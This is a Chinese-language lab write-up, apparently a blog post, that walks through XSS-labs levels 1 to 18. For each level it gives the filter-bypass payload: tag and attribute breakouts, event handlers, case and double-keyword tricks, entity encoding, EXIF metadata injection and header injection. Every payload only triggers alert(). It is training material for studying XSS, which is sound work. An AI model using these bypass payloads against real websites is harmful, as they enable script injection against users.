标签 xss 下的文章

XSS-labs靶场记录LV11 ~ LV20


LV11 无文本框,查看参数,发现多了个t_ref,为refer,那么用refer头注入,hackbar,add referer头,成功弹窗

payload:" type="text" onmouseover="alert(/Aatrox/)"

LV12 无文本框,查看参数,多了个t_ua,为user-agent的XSS注入,hackbar,add user-agent,成功弹窗

payload:" type="text" onmouseover="alert(/Aatrox/)"

LV13 无文本框,查看参数,多了个t_cook,为cookie的XSS注入,hackbar,add cookies

查看响应头,得到cookie的参数user=... 那么构造payload 成功弹窗

payload:user=" type="text" onclick="alert(1)"

LV14  exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗

具体实现使用kali下的exiftool工具

命令如下:

exiftool -FIELD=XSS FILE

exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg

LV15   根据返回的源代码判断出变量src存在XSS注入。ng-include,那么直接调用level1中的script即可,

跨域了。

payload:level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'

image.png

LV16   发现src,反斜杠/,还有空格进行了替换,使用%0A(回车符)进行弹窗。

payload:<img%0Asrc=""type="text"%0Aonerror=alert(1)>

LV17 首先查看响应,发现swf,swf是flash文件,参数arg=a,arg=b存在XSS注入,将b换成onmouseover=alert(1),

换个显示flash的浏览器成功弹窗。

payload:arg01=a&arg02=%20onmouseover=alert(1)

LV18 同上,不过对引号进行了过滤。


XSS-labs靶场记录LV1 ~ LV10


lv1 直接弹窗

payload:<script>alert(1)</script>

lv2 闭合input,弹窗

payload:test"/><script>alert(1)</script>

lv3 发现双引号"逃逸不出来inptu,于是尝试单引号'发生改变,然而还是逃逸不出来,只好使用javascrpt:alert(1),由于有文本框,直接用onclick。

payload:dsadsa' onclick='javascript:alert(1)

lv4 尝试逃逸Inptu失败,且尖括号被过滤,尝试直接闭合“”“”后文本框弹窗

payload:adsadsa" onclick="alert(1)

lv5 规则测试后,发现script\on,大小写被过滤,注意到尖括号已经超出边界,那么使用标签+javascript绕过。

image.png

payload:test"/><a href="javascript:alert(1)" />

lv6 用lv5的payload时,发现href被分割过滤,采用大小写替换,成功弹窗。

image.png

payload:test"/><a hReF="javascript:alert(1)" />

lv7 用之前的payload失效且无用,发现on/script直接被replace成空,那么采用双写关键字绕过。

image.png

payload:test" oonnclick="java:alert(1)
LV8 添加友情链接,尝试<a src="javascript:alert(1)" />发现问题后采取utf-8编码绕过。

image.png

utf-8编码尝试绕过。

image.png

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

#javascript:alert(1)

LV9 链接不合法,那么用编码弹窗+合法链接触发弹窗。

image.png

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

image.png

LV 10 无文本框那么直接在url搜索,发现隐藏表单的参数有:t_link,t_history,t_sort,那么构造表单为:&t_sort=1'时有参数传入,如下,那么给该参数制造一个文本框,利用其触发弹窗。

image.png

payload:well done!&t_sort=1" type="text" onmouseover="alert(1)"